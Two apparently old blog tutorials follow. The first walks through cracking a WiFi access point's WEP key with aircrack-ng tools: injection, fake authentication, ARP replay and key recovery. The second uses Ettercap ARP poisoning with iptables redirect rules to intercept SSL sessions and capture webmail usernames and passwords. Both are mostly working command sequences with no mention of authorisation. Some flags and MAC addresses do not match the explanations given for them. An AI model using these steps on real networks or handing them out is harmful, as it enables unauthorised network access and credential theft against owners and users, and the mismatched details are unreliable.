CRACK WIFI – Simple WEP Crack

Bhanu — Sat, 01 May 2010 11:55:23 +0000

Overview

To crack the WEP key for an access point, we need to gather lots of initialization vectors (IVs). Normal network traffic does not typically generate these IVs very quickly. Theoretically, if you are patient, you can gather sufficient IVs to crack the WEP key by simply listening to the network traffic and saving them. Since none of us are patient, we use a technique called injection to speed up the process. Injection involves having the access point (AP) resend selected packets over and over very rapidly. This allows us to capture a large number of IVs in a short period of time.

Equipments used

Wifi Adaptor : Alfa AWUS036H (available on eBay & Amazon)
Software : Backtrack 4 (Free download from http://www.backtrack-linux.org)

Step 1 – Start the wireless interface in monitor mode on AP channel

airmon-ng start wlan1 6

starts wifi interface in channel 6

Step 2 – Test Wireless Device Packet Injection

aireplay-ng -6 -e infosec -a 00:1B:11:24:27:2E wlan1

-9 means injection

-a 00:1B:11:24:27:2E is the access point MAC address

Step 3 – Start airodump-ng to capture the IVs

airodump-ng -c 6 –bssid 00:1B:11:24:27:2E -w output wlan1

Step 4 – Use aireplay-ng to do a fake authentication with the access point

In order for an access point to accept a packet, the source MAC address must already be associated. If the source MAC address you are injecting is not associated then the AP ignores the packet and sends out a “DeAuthentication” packet in cleartext. In this state, no new IVs are created because the AP is ignoring all the injected packets.

aireplay-ng -1 0 -e infosec -a 00:1B:11:24:27:2E -h 00:c0:ca:27:e5:6a wlan1

-1 means fake authentication

0 reassociation timing in seconds

-e infosec is the wireless network name

-a 00:14:6C:7E:40:80 is the access point MAC address

-h 00:0F:B5:88:AC:82 is our card MAC address

aireplay-ng -1 2 -o 1 -q 10 -e infosec -a 00:1B:11:24:27:2E -h 00:c0:ca:27:e5:6a wlan1

2 – Reauthenticate every 2 seconds.

-o 1 – Send only one set of packets at a time. Default is multiple and this confuses some APs.

-q 10 – Send keep alive packets every 10 seconds.

Troubleshooting Tips

Some access points are configured to only allow selected MAC addresses to associate and connect. If this is the case, you will not be able to successfully do fake authentication unless you know one of the MAC addresses on the allowed list. If you suspect this is the problem, use the following command while trying to do fake authentication. Start another session and…

Run: tcpdump -n -vvv -s0 -e -i | grep -i -E ”(RA:|Authentication|ssoc)”

You would then look for error messages.

If at any time you wish to confirm you are properly associated is to use tcpdump and look at the packets. Start another session and…

Run: “tcpdump -n -e -s0 -vvv -i wlan1”

Here is a typical tcpdump error message you are looking for:

11:04:34.360700 314us BSSID:00:14:6c:7e:40:80 DA:00:0F:B5:88:AC:82 SA:00:14:6c:7e:40:80 DeAuthentication: Class 3 frame received from nonassociated station

Notice that the access point (00:14:6c:7e:40:80) is telling the source (00:0F:B5:88:AC:82) you are not associated. Meaning, the AP will not process or accept the injected packets.

If you want to select only the DeAuth packets with tcpdump then you can use: “tcpdump -n -e -s0 -vvv -i wlan1 | grep -i DeAuth”. You may need to tweak the phrase “DeAuth” to pick out the exact packets you want.

Step 5 – Start aireplay-ng in ARP request replay mode

aireplay-ng -3 -b 00:1B:11:24:27:2E -h 00:c0:ca:27:e5:6a wlan1

Step 6 – Run aircrack-ng to obtain the WEP key

aircrack-ng -b 00:1B:11:24:27:2E output*.cap

All Done!

Sniffing Tutorial

Bhanu — Wed, 22 Jul 2009 08:27:46 +0000

Hi, Today I am posting a tutorial on Sniffing which can be done using “BACKTRACK” . You can download Backtrack from here.

I prefer using Backtrack 3.0 Final version.

Well lets start with sniffing. If you don’t know what sniffing is, then click here.

Tools you need are:

Ettercap
nano

1. For SSL Dissection support (hotmail,gmail), you need to do this:
Open a shell, type: “nano /usr/local/etc/etter.conf”, use the down arrow until you reach “redir_command_on/off”, look at the linux part, your gonna need to uncomment:

Code:

# if you use iptables:
#redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
#redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"

to:

Code:

# if you use iptables:
redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"

after your done, press F2, Y, Return.

Now boot Ettercap: Menu –> Backtrack –> Spoofing –> Ettercap
Go to: Sniff –> Unified Sniffing –>ethX(what interface you want to sniff).
Then Press: Ctrl+S to scan hosts.
Then Go to: Mitm –> ARP poisoning, select sniff remote connections, and press ok.
Then Go to: Start –> Start Sniffing.

For an Example, Walk to another pc, go to your internet email account (Hotmail, Gmail), and log in, you will be asked to trust the certificate, Trust it, and watch your sniffing computer, the username and password should appear.

When your done, go to Start –> Stop Sniffing, And go to Mitm –> Stop mitm attack(s)

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